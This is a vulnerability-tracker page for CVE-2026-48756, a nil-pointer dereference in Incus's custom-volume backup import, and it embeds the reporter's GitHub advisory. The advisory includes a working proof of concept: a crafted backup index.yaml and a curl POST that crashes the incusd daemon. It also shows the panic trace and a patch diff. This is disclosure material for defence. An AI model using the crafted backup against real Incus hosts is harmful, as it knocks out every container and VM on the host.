CVE-2026-48756
mediumpriority · track · 0EPSS 0.004 · 32 %ileRUUSEPSS · scored 2026-10-28
Incus is a system container and virtual machine manager. Prior to version 7.1.0, `(*backend).CreateCustomVolumeFromBackup` in `internal/server/storage/backend.go` contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `can_create_storage_volumes` permission on any project can crash the `incusd` daemon by uploading a backup tarball whose `volume_snapshots[*].expires_at` field is absent. This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit `985a1dedf9f3e7ba729c93b654905ed510de25c2` added `if s == nil` at the top of the loop body, but did not guard the adjacent `*snapshot.ExpiresAt` deref 19 lines later. Every other consumer of `Config.VolumeSnapshots[i].ExpiresAt` in this same file already gates the deref with a nil-check — the asymmetric guard is the bug. Version 7.1.0 contains an updated patch.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.3–4.3
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (8)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-xhqx-mgh3-3h7qIncus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)2026-06-26ghsa · osvUS
## Summary `(*backend).CreateCustomVolumeFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `can_create_storage_volumes` permission on any project can crash the `incusd` daemon by uploading a backup tarball whose `volume_snapshots[*].expires_at` field is absent. This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit `985a1dedf9f3e7ba729c93b654905ed510de25c2` added `if s == nil` at the top of the loop body, but did not guard the adjacent `*snapshot.ExpiresAt` deref 19 lines later. Every other consumer of `Config.VolumeSnapshots[i].ExpiresAt` in this same file already gates the deref with a nil-check — the asymmetric guard is the bug. ## Vulnerable code [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), `CreateCustomVolumeFromBackup`: ```go // Line 7710-7714 — the parent fix from GHSA-r7w7 for _, s := range srcBackup.Config.VolumeSnapshots { if s == nil { return errors.New("Bad snapshot definition found in index") } snapshot := s snapName := snapshot.Name // ... // Line 7731 — UNGUARDED *time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML snapVol.ContentType(), true, true) ``` `ExpiresAt` is declared `*time.Time` (`shared/api/storage_pool_volume_snapshot.go:21,88`). Every other consumer in the same file already uses the safe pattern: | Line | Code | Guarded? | |------|------|----------| | 909-910 | `CreateInstanceFromBackup` | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | **7731** | **`CreateCustomVolumeFromBackup`** | **NO** | ## Reach 1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `can_create_storage_volumes` entitlement on any project. Same auth gate as parent GHSA-r7w7. 2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with `type: custom`, a non-nil `volume:` block, and `volume_snapshots: [{name: snap0}]` (no `expires_at` field). 4. `cmd/incusd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the `s == nil` guard at 7712 passes (snapshot pointer is non-nil) -> `*snapshot.ExpiresAt` on line 7731 panics on the nil `*time.Time`. 5. No `recover()` is installed in the operation runner, so the panic kills the entire `incusd` process. Repeated POSTs are a persistent denial of service. Minimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml): ```yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}} volume_snapshots: - name: snap0 description: snap0 config: {} # expires_at intentionally omitted ``` ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + the resulting 479-byte `poc-vol.tar.gz`. Tested against `incus 7.0.0` (zabbly latest GA at time of report; build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with the default `dir` storage pool. ```bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-vol.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-vol' \ http://incus/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process is GONE ``` Daemon panic from `/tmp/incus.out`: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938] goroutine 422 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...) /build/incus/internal/server/storage/backend.go:7731 +0xb48 main.createStoragePoolVolumeFromBackup.func7(...) /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290 github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408 /build/incus/internal/server/operations/operations.go:306 +0x168 ``` Stack frame [`backend.go:7731`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7731) is the literal `*snapshot.ExpiresAt` line. Same line in v6.0.x LTS is [`backend.go:7271`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7271) (also panics; v6.0.x additionally lacks the `s == nil` parent fix so a single nil snapshot pointer also panics there). ## Impact - **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier. - **Network attack surface:** the Incus REST API on `:8443` or the unix socket. - **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). ## Suggested fix Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423: ```diff --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error { snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = *snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err } ``` ## Reporter notes Reported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.
- GO-2026-5810Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7) in github.com/lxc/incus2026-07-07vendor · osvUS
Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7) in github.com/lxc/incus
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (1) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan